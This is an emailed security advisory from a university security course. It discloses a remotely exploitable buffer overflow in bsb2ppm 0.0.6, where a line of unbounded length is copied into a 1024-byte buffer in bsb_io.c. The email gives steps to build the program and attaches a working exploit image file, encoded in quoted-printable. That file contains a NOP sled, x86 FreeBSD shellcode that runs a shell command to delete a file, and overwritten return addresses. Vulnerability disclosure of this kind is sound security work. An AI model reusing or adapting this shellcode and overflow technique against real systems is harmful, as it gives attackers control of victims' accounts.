[remote] [control] bsb2ppm 0.0.6 overflows line buffer

--cWoXeonUoKmBZSoM
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

James Longstreet and Tom Indelli, two students in my Fall 2004 UNIX
Security Holes course, have discovered a remotely exploitable security
hole in bsb2ppm, a program to convert BSB image files to PPM image
files. I'm publishing this notice, but all the discovery credits should
be assigned to Longstreet and Indelli.

You are at risk if you receive a BSB picture through email (or a web
page or any other source that could be controlled by an attacker) and
feed that file through bsb2ppm (or other libbsb-based tools). Whoever
provides that picture then has complete control over your account: he
can read and modify your files, watch the programs you're running, etc.

The bsb2ppm documentation does not tell users to avoid taking input from
the network. In fact, the main source of BSB files appears to be a
company named MapTech, which presumably is not authorized to take
control of user accounts.

Proof of concept: On an x86 computer running FreeBSD 4.10, type

   wget http://umn.dl.sourceforge.net/sourceforge/libbsb/libbsb-0.0.6.tar.gz
   gunzip libbsb-0.0.6.tar
   tar -xvf libbsb-0.0.6.tar
   cd libbsb-0.0.6
   ./configure
   make
   make check

to download and compile the bsb2ppm program, version 0.0.6 (current).
Then save the BSB file attached to this message as 4.kap, and type

   ./bsb2ppm 4.kap 4.ppm

with the unauthorized result that a file named x is removed from the
current directory. (I tested this with a 525-byte environment, as
reported by printenv | wc -c.)

Here's the bug: In libbsb, in bsb_io.c, bsb_open_header() uses
next_line() to copy a line of any length into a 1024-byte line[] buffer.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

--cWoXeonUoKmBZSoM
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="4.kap"
Content-Transfer-Encoding: quoted-printable

=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=EBGY=89=CA=83=C2=18=89=111=C0=89A=04=83=C2=13=89Q=08=83=
=C2=08=89Q=0C=83=C2=03=89Q=10=89A=14=88A*=88A2=88A5=88A:Q=83=C1=08Q=83=C1 =
=83=C1=03Q=83=C0;P=CD=801=C0P@P=CD=80=E8=B4=FF=FF=FFabcdefghijklmnopqrstuvw=
xPATH=3D/bin:/usr/bin /bin/sh -c rm x.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk=
lmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx=
yz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789A=
BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMN=
OPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZa=
bcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn=
opqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0=
123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD=
EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJK=EC=F4=
=BF=BF=EC=F4=BF=BF=EC=F4=BF=BF
--cWoXeonUoKmBZSoM--